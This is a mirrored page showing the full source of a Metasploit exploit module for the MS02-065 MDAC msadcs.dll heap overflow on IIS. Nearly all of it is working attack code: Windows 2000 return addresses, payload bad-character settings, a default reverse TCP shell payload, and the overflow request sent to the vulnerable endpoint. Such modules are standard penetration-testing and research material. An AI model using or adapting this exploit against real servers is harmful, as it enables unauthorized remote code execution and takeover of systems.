CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/iis/ms02_065_msadc.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
16
'Description' => %q{
17
This module can be used to execute arbitrary code on IIS servers
18
that expose the /msadc/msadcs.dll Microsoft Data Access Components
19
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
20
exploitable even when RDS is configured to deny remote connections
21
(handsafe.reg). The service is vulnerable to a heap overflow where
22
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
23
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
24
},
25
'Author' => 'aushack',
26
'Platform' => 'win',
27
'Arch' => [ARCH_X86],
28
'References' => [
29
['OSVDB', '14502'],
30
['BID', '6214'],
31
['CVE', '2002-1142'],
32
['MSB', 'MS02-065'],
33
['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
34
],
35
'Privileged' => false,
36
'Payload' => {
37
'Space' => 1024,
38
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x22\x27:?<>=$\\/;=+%#&", # "\u0000\t\n\v\r \"':?<>=$\\/;=+%#&"
39
'StackAdjustment' => -3500
40
},
41
'DefaultOptions' => {
42
'PAYLOAD' => 'windows/shell/reverse_tcp',
43
'EXITFUNC' => 'seh' # stops IIS from crashing... hopefully
44
},
45
'Targets' => [
46
# jmp eax ws2help.dll
47
[ 'Windows 2000 Pro SP0-SP3 (English)', { 'Ret' => 0x75023783 } ],
48
[ 'Windows 2000 Pro SP0 (Korean)', { 'Ret' => 0x74f93783 } ],
49
[ 'Windows 2000 Pro SP0 (Dutch)', { 'Ret' => 0x74fd3783 } ],
50
[ 'Windows 2000 Pro SP0 (Finnish)', { 'Ret' => 0x74ff3783 } ],
51
[ 'Windows 2000 Pro SP0 (Turkish)', { 'Ret' => 0x74fc3783 } ],
52
[ 'Windows 2000 Pro SP0-SP1 (Greek)', { 'Ret' => 0x74f73783 } ],
53
[ 'Windows 2000 Pro SP1 (Arabic)', { 'Ret' => 0x74f93783 } ],
54
[ 'Windows 2000 Pro SP1 (Czech)', { 'Ret' => 0x74fc3783 } ],
55
[ 'Windows 2000 Pro SP2 (French)', { 'Ret' => 0x74fa3783 } ],
56
[ 'Windows 2000 Pro SP2 (Portuguese)', { 'Ret' => 0x74fd3783 } ],
57
],
58
'DefaultTarget' => 0,
59
'DisclosureDate' => '2002-11-02',
60
'Notes' => {
61
'Reliability' => [REPEATABLE_SESSION],
62
'Stability' => [CRASH_SERVICE_DOWN],
63
'SideEffects' => [IOC_IN_LOGS]
64
}
65
)
66
)
67
68
register_options([
69
OptString.new('TARGETURI', [ true, 'The path to msadcs.dll', '/msadc/msadcs.dll' ], aliases: [ 'PATH' ]),
70
])
71
end
72
73
def check
74
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
75
76
return CheckCode::Unknown('Connection failed') unless res
77
return CheckCode::Unknown('HTTP server error') if res.code == 500
78
return CheckCode::Safe('Access Forbidden') if res.code == 403
79
80
if res.code == 200 && res.body.to_s.include?('Content-Type: application/x-varg')
81
return CheckCode::Detected("#{target_uri.path} content type matches fingerprint application/x-varg")
82
end
83
84
CheckCode::Safe
85
end
86
87
def exploit
88
sploit = rand_text_alphanumeric(136)
89
sploit[24, 2] = Rex::Arch::X86.jmp_short(117)
90
sploit << [target['Ret']].pack('V')
91
sploit << payload.encoded
92
93
send_request_cgi({
94
'uri' => normalize_uri(target_uri.path, '/AdvancedDataFactory.Query'),
95
'method' => 'POST',
96
'data' => "Content-Type: #{sploit}"
97
})
98
end
99
end
100
101